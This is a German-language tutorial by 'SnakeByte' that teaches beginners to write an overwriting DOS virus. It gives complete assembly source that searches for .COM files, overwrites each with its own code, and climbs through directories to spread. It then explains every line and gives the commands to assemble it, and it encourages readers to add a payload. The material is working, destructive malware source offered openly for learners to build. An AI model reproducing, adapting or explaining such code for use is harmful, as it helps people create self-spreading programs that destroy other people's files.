SnakeByte's Overwritter-Lehrbuch 1.21 Teil I - Generelle Informationen Ok, ihr wollt also Viren schreiben, dann habe ich 2 Nachrichten für euch. Die Schlechte :) ist, das ihr dazu Assembler lernen müsst, die Gute, Assembler ist nicht ganz so schwer wie es aussieht. Am Besten ihr kauft euch ein Assembler Buch oder ladet euch ne Menge Assembler Tutorials aus dem Netz, wobei die meisten Tutorials aus dem Netz nichts wert sind. Hilfreich ist auch Ralf Browns Interrupt Liste, die es ebenfalls im Netz gibt. Ihr braucht auch einen Assembler, wie zum Beispiel Borlands Turbo Assembler oder den von M$ genannt MASM, wobei ich von zweitem nur abraten kann. Nun zum Overwritter: Ein Overwritter infiziert 'normalerweise' nur .COM Dateien und zwar in der Art und Weise, daß er die Datei, die er befällt komplett mit einer Kopie von sich selbst überschreibt, so das die ursprüngliche Datei zerstört wird. Das möchte ich an einem recht verbreitetem Beispiel deutlich machen. Virus + Programm = Virusamm Der Virus muss also folgendes leisten: 1.) Finde die erste COM Datei 2.) öffne diese für Lese und Schreibzugriffe 3.) Schreib den Virencode hinein 4.) Finde eine weitere Datei 5.) Springe zu 2.) 6.) Wenn es keine Dateien mehr gibt wechsel das Verzeichnis und fange bei 1.) an 7.) Wenn du im root Verzeichnis (c:\) bist, hör auf 8.) Gib die Kontrolle an DOS zurück Ich hoffe, damit ist die Arbeitsweise eines Overwritters deutlich geworden. Klar ist das extrem auffällig und heute würde niemand mehr sowas freisetzen, aber es ist ein guter Einstieg in das Thema. COM Dateien werden immer komplett in den Speicher geladen, und dürfen deshalb auch nicht größer als 65280 Bytes sein, was uns aber im Moment aber weniger interessiert. Als 9.) Schritt könnte man noch einen Payload einfügen, aber dazu seit ihr wohl auch alleine in der Lage... ;> Ich werde versuchen im folgendem auch eine Einleitung in Assembler zu geben, aber ihr solltet euch auch ein Buch dazu kaufen... Teil II - Der Code Ok... alles nach den Semikolons ist Kommentar, aber ich gehe auf die einzelnen Abschnitte nochmal genauer ein. --------------code Anfang--------> .model tiny code segment assume cs:code,ds:code ;Definiert die einzelnen Segmente org 100h ;Wir bauen eine .COM Datei Start: ;Hier beginnt der Virus mov ah,4eh ;Finde erste Datei Weiter: ;Sprungmarke mov dx, offset com ;lade com in dx xor cx,cx ;cx = 0 int 21h ;ausführen ..suche nach Dateien mit *.COM jc change_dir ;falls keine gefunden springe nach change_dir mov ax, 3d02h ;öffne die Datei für Lese und Schreibzugriff mov dx,9eh ;Name aus DTA (siehe unten) int 21h jc read_error ;gab es einen Fehler, dann springe nach read_error xchg bx,ax ;tausche bx und ax mov ah, 40h ;schreib was... mov cx, offset Virende - offset START ;Länge des zu schreibenden mov dx, offset START ;wo fängt das zu schreibende an ? int 21h mov ah, 3eh ;Datei schließen int 21h read_error: ;Sprungmarke mov ah, 4fh ;nächte Datei suchen... jmp Weiter ;Springe nach Weiter change_dir: ;Sprungmarke mov ah,3bh ; Ändere das Verzeichnis lea dx,Punkte ; Ein Verzeichnis runter int 21h ; Ändere es jnc start ; Falls es keinen Fehler gab, springe nach start ende: ;Sprungmarke mov ax,4c00h ;Zurück zu Dos INT 21h com db '*.com',0 ;Variablendefinition... Punkte db '..',0 virende: ;Ende des Virus code ends end start ------------code Ende--------> Ich denke mal das der Code den meisten mit nur wenig Assembler Erfahrung nichts oder nur wenig sagt, deshalb werde ich ihn jetzt noch einmal auseinandernehmen. .model tiny code segment assume cs:code,ds:code ;Definiert die einzelnen Segmente org 100h ;Wir bauen eine .COM Datei Dies sind generelle Instructionen die an den Anfang jedes Quellcodes gehören. Die assume Anweisung zum Beispiel ordnet gewissen Labels Basisadressen zu. Wir könnten zum Beispiel für die Daten einen eigenen Bereich definieren, was aber hier unsinnig wäre. ein Bereich / Segment beginnt immer mit segment und endet mit ends, mit assume cs: wird als Codesegment definiert... ds steht für Datasegment, das heißt hier stehen die Daten,... wir legen beides zusammen. org 100h ist für alle .COM Dateien notwendig, da diese erst beim offset 100 starten. Start: ;Hier beginnt der Virus mov ah,4eh ;Finde erste Datei Weiter: ;Sprungmarke mov dx, offset com ;lade com in dx xor cx,cx ;cx = 0 int 21h ;ausführen ..suche nach Dateien mit *.COM jc change_dir ;falls keine gefunden springe nach change_dir Die Anweisungen Start: und Weiter: sind Sprungmarken hierher kann mit dem jmp Befehl gesprungen werden. Mit jmp springt man nach : Der Befehl mov ah, 4eh schreibt den Wert 4e (das h steht für Hex..) in den Register ah... nun was ist ein Register ? ...Es gibt grundsätzlich (zum Anfangen ;) die Register ax, bx, cx und dx. In diesen Registern kann man immer Werte von 16 Bit speichern. Desweiteren kann man jeden dieser 4 Register in 2 Teile spalten, die nur 8 Bit speichern können... das sieht dann so aus: ah, al, bh, bl ... (das h steht für high und l für low). In diese Register speichern wir nun Anweisungen... (siehe oben) Assembler ist eigentlich ganz einfach, man schreibt ein paar Werte in die verschiedenen Register und führt das ganze mit einem Interrupt aus... Je nachdem was man in ein Register schreibt, wird nach der Ausführung des Interrupts ein anderes Ergebnis erziehlt und es können auch andere Register beeinflusst werden. Normalerweise werden alle Werte in Hex (also immer ein h anhängen) in die Register geschrieben, aber mit dem Anhängsel d kann man auch Dezimalzahlen verwenden. Hier ein Beispiel dazu: mov ah,3bh mov dx,offset Punkte int 21h Punkte db '..',0 Mit dem mov-Befehl schreibe ich nun 3b im Hexformat in ah und die Adresse an der die '..' Punkte stehen in dx...beim kompilieren wird das ganze dann in Zahlen umgewandelt. Mit dem Dos Interrupt 21h führe ich nun das ganze aus... und ein 'cd..' kommt dabei heraus. Es gibt verschiedene Interrupts aber wir brauchen erstmal nur den Int 21h. Zurück zum Code... mov ah,4eh gibt dem Dosinterrupt die Anweisung, nach der ersten Datei im aktuellen Verzeichnis zu suchen, die dem Kriterium in dx entspricht, also eine .COM Datei ist. mov dx,offset com lädt die Variable com in dx, in der die Zeichenfolge *.COM gespeichert ist, so das nur nach COM Dateien gesucht wird. Mit xor cx,cx wird nach allen normalen Dateien gesucht, die keine speziellen Attribute haben. Dazu muss in den Register cx der Wert 0 geladen werden. Die Anweisung xor cx,cx überprüft ob cx gleich cx ist und falls es so ist wird in cx der Wert 0 geladen. Man könnte auch mov cx,0 verwenden, aber die xor Anweisung verbraucht weniger Platz. Eine weitere Alternative ist sub cx,cx hier würde von dem Wert in cx der Wert in cx =) abgezogen und in cx gespeichert... Ein Wert minus sich selbst ist immer 0 also steht in cx dann 0 (nur zur Erklärung des Befehls sub) Wollte man nach anderen Dateien suchen müsste man den Wert entsprechend ändern: 0 -- Standart Datei 1 -- Nur Lesen (Schreibgeschützt) 2 -- Versteckte Datei 4 -- System Datei 8 -- Datenträger Kennung 10 -- Verzeichnis 20 -- Archivierungs-Bit Um nun alle Dateien zu finden, die versteckt und schreibgeschützt sind einfach die Werte 2 und 1 addieren und 3 in cx laden... Also alle Versteckten Verzeichnisse wären ? ...Richtig 12(h) Int 21h ist der DOS Interrupt, der nun den Vorgang startet. Falls keine Dateien mehr gefunden werden, wird nach change_dir gesprungen, wo das Verzeichnis gewechselt wird. Jc ist ein bedingter Sprung, das bedeutet, es wird nur gesprungen, wenn eine Bedingung erfüllt ist. In diesem Falle ist die Bedingung, das das Carrier Flag gesetzt wird. Dieses Flag wird immer dann gesetzt, wenn es Fehler gab (in diesem Fall, das nichtfinden der Dateien). Es gibt noch mehrere bedingte Sprünge, von denen ich einige im Anhang aufzähle. Das einzige Problem mit den bedingten Sprüngen ist, das sie nur maximal 125 Byte vom Ausgang weit springen können.. das kann in größeren Programmen zu Problemen führen ist hier aber ohne Bedeutung. Mit dem Int 21h Befehl wird das ganze wieder ausgeführt. Als Ausgabe bekommen wir den Dateinamen in die DTA ( Disk Transfer Area ) geschrieben. Diesen brauchen wir um die Datei zu öffnen. mov ax, 3d02h ;öffne die Datei für Lese und Schreibzugriff mov dx,9eh int 21h jc read_error ;gab es einen Fehler, dann springe nach read_error mov ax, 3d02h ist die Instruktion zum öffnen der Datei zum Lesen und Schreiben. 3d01h wäre nur zum Schreiben und 3d00h nur zum Lesen der Datei notwendig. mov dx,9eh setzt in dx die Adresse, an der man den Dateinamen der gefundenen Datei in der DTA finden kann. Durch das Suchen der Datei mit den 4eh und 4fh Funktionen des INT 21h wird die DTA, die an offset 80h beginnt, angelegt. Dort befinden sich nun einige Informationen über die gefundene Datei. Deshalb hier die DTA: Offset Bedeutung 0000h Laufwerksbuchstabe 0001h Suchpattern 000Ch Reserviert 0015h Datei Attribute 0016h Datei Zeit (letzter Zugriff) 0017h Datei Datim (letzter Zugriff) 001Ah Datei Größe 001Eh Dateiname mit Erweiterung (opfer.com) Wenn wir nun zu dem Anfangsoffset der DTA (80h) den Offset für den Dateinamen addieren, bekommen wir den Gesamtoffsett (9eh) des Dateinamens, den wir in dx schreiben. Nun führen wir das ganze wieder mit Int 21h aus. Falls das Carrier Flag gesetzt wird, wird mit jc nach read_error gesprungen. Das Carrier Flag wird bei dieser Operation automatisch gesetzt, wenn es einen Fehler beim öffnen der Datei gab. Falls aber eine Datei gefunden wurde, wird das File Handle in ax geschrieben, eine Zeichenkette, die die Datei kennzeichnet. xchg bx,ax ;tausche bx und ax mov ah, 40h ;schreib was... mov cx, offset Virende - offset START ;Länge des zu schreibenden mov dx, offset START ;wo fängt das zu schreibende an ? int 21h Das File Handle müssen wir nun in bx laden, da sonst die nächste Funktion nicht weiß, welche Datei sie bearbeiten soll ... ein mov wäre auch ok gewesen, aber xchg bx,ax ist schneller, da kürzer. Die nachfolgenden Funktionen brauchen das File Handel alle in bx, und ändern bx nicht, so das wir das File Handle nicht extra speichern müssen. mov ah, 40h ist die Instruktion um etwas in eine Datei zu schreiben... Hinter mov cx, offset Virende - offset START verbirgt sich ein kleiner Trick... Normalerweise müssten wir in cx die Anzahl der zu schreibenden Bytes setzen, aber da wir zu faul sind, diese zu berechnen, lassen wir das einfach den Assembler machen. Indem wir von der Endposition die Startposition abziehen, und somit die Anzahl der Bytes zwischen beiden Positionen herausbekommen. Wir haben also 2 Adressen (140h und 132h zum Beispiel) und ziehen die größere von der kleineren ab. Wir erhalten nun die Anzahl der Bytes zwischen beiden Adressen (Eh in unserem Beispiel) Das was wir schreiben wollen, fängt bei START, der Anfangsposition unseres Virus an, da wir ja den Virus in die Datei schreiben wollen. mov ah, 3eh ;Datei schließen int 21h Dazu gibt es denke ich nicht mehr viel zu sagen, wir schließen nach erfolgreicher Operation die infizierte Datei... read_error: ;Sprungmarke mov ah, 4fh ;nächte Datei suchen... jmp Weiter ;Springe nach Weiter read_error: <-- hierher springen wir sowohl nach einer erfolgreichen Infection, als auch wenn es Probleme mit dem Öffnen einer Datei gab. Anstatt nun hier rumzusitzen, geben wir nun mit mov ah, 4fh dem Dosinterrupt den Befehl nach der nächsten Datei zu suchen und springen per jmp Weiter wieder nach oben um die restlichen Suchinstruktionen zu laden. Da die die gleichen sind, wie bei der Ersten Datei springen wir einfach hinter die Instruktion, die angibt, das nach der 1. Datei im Verzeichnis gesucht werden soll. change_dir: ;Sprungmarke mov ah,3bh ; Ändere das Verzeichnis lea dx,Punkte ; Ein Verzeichnis runter int 21h ; Ändere es jnc start ; Falls es keinen Fehler gab, springe nach start change_dir: <-- hier landen wir, wenn alle Dateien in einem Verzeichnis infiziert sind. Und zwar aus gutem Grund: mit mov ah,3bh geben wir dem Int 21h den Befehl das Verzeichnis zu wechseln und zwar nach Punkte, welches wir mit lea dx,Punkte in dx laden... wie ihr euch vielleicht denken könnt gleicht das dem guten alten 'cd..', da in der Variabeln Punkte 2 Punkte gespeichert sind... lea dx, Punkte ist eigentlich genau das gleiche wie mov dx,Offset Punkte. Falls es keine Fehler gab, wie zum Beispiel der Versuch vom root Verzeichnis 'C:\' noch eine Ebene tiefer zu wechseln, gehen wir an den Start und infizieren weiter. Dies geschieht mit dem Befehl jnc was soviel bedeutet wie 'Jump if not Carrier Flag' Dies ist ein weiterer bedingter Sprung Befehl, der genau das Gegenteil von jc bewirkt. ende: ;Sprungmarke mov ax,4c00h ;Zurück zu Dos INT 21h Nachdem alles erfolgreich infiziert wurde, geben wir die Kontrolle an Dos zurück. Hier könnte man auch einen Payload, also einen Effekt des Virus einbauen, dazu aber ein anderes Mal... (ich hab grade keine kreative idee ..aber im nächsten tut kriegt ihr was ;) com db '*.com',0 ;Variablendefinition... Punkte db '..',0 Hier sind unsere Variabeln, die wir für den Virus brauchen... Einmal die com Variable, damit wir auch wirklich nur COM Dateien infizieren und unsere Punkte, die für ein cd.. notwendig sind. virende: ;Ende des Virus Dies ist das Ende des Virus, bis zu dem wir schreiben wollten code ends end start Noch ein paar Instruktionen, das nun wirklich alles zu Ende ist und wir haben es geschafft. Nun müssen wir das Ganze nur noch kompilieren und zwar mit: tasm .asm tlink .obj /t und schon habt ihr euere COM Datei zum testen... .obj und .map könnt ihr ruhig löschen die braucht ihr nicht mehr ...he aber setzt keine Overwritter frei, oder jeder wird euch auslachen ;> SnakeByte <><><><><><><><><><><><><><><><>< Anhang ><><><><><><><><><><><><><><><><><><><><><> ******************************************************************************************** Hoffe das Ganze hat euch weitergeholfen einen Einstieg in Virenprogrammierung zu finden. Falls ihr etwas nicht verstanden habt, lest es euch nochmal durch, bis ihr es verstanden habt. Und nochmal... es ist auf jedenfall wichtig, daheim noch ein Assembler Buch zum Nachschlagen zu haben, die Tutorials aus dem Netz alleine reichen nicht ! Falls dennoch Fragen aufkommen mailt mir : SnakeByte@Kryptocrew.de ...happy coding ! SnakeByte ;> Keine Angst... ich werde es nicht vergessen... Viele Grüße und Dank an: Lethal Mind, Techno Phunk, Paradizer, Schubbel, Gigabyte, Blind Angel, alle AVP's ;>, alle Tutorialschreiber, deren Tuts ich gelesen habe, Manowar und Alice Cooper und alle anderen, die es noch verdient haben... ******************************************************************************************** Und hier wie versprochen noch einmal alle Befehle dieses Tutorials... <>()<>()<>()<>()<>()<>()<>()<>()<>( Befehle )<>()<>()<>()<>()<>()<>()<>()<>()<>()<>()<>()<> mov , Dieser Befehl schreibt den Wert aus einer Quelle ans Ziel :P -- xchng , Dieser Befehl tauscht Ziel und Quelle. -- xor , Hiermit erreichen wir ein Exklusives oder... (schlag mal in deinem Mathebuch nach :) -- cmp , Ist zwar nicht im Code aber wichtig für die bedingten Sprünge... es wird das Ziel mit der Quelle verglichen und dann kann man mit einem bedingten Sprung nach Ergebnis weiterspringen... Bsp.: mov ah,7h cmp ah,7h je wohinauchimmer Dieser Code springt immer nach wohinauchimmer, da die Bedingung für den bedingten Sprung je <-- Jump if equal ...springe wenn gleich erfüllt ist Des weiteren gibt es folgende Sprünge ja <-- springe wenn größer als jb <-- springe wenn kleiner als jae <-- springe wenn größer als oder beide gleich jbe <-- springe wenn kleiner als oder beide gleich jc <-- springe wenn Carrierflag gesetzt wurde jnc <-- springe wenn kein Carrierflag gesetz wurde je <-- springe wenn gleich jmp <-- springe IMMER ! -- lea , Ist das Gleiche wie mov , Offset -- '*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'' ENDE ''*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*'*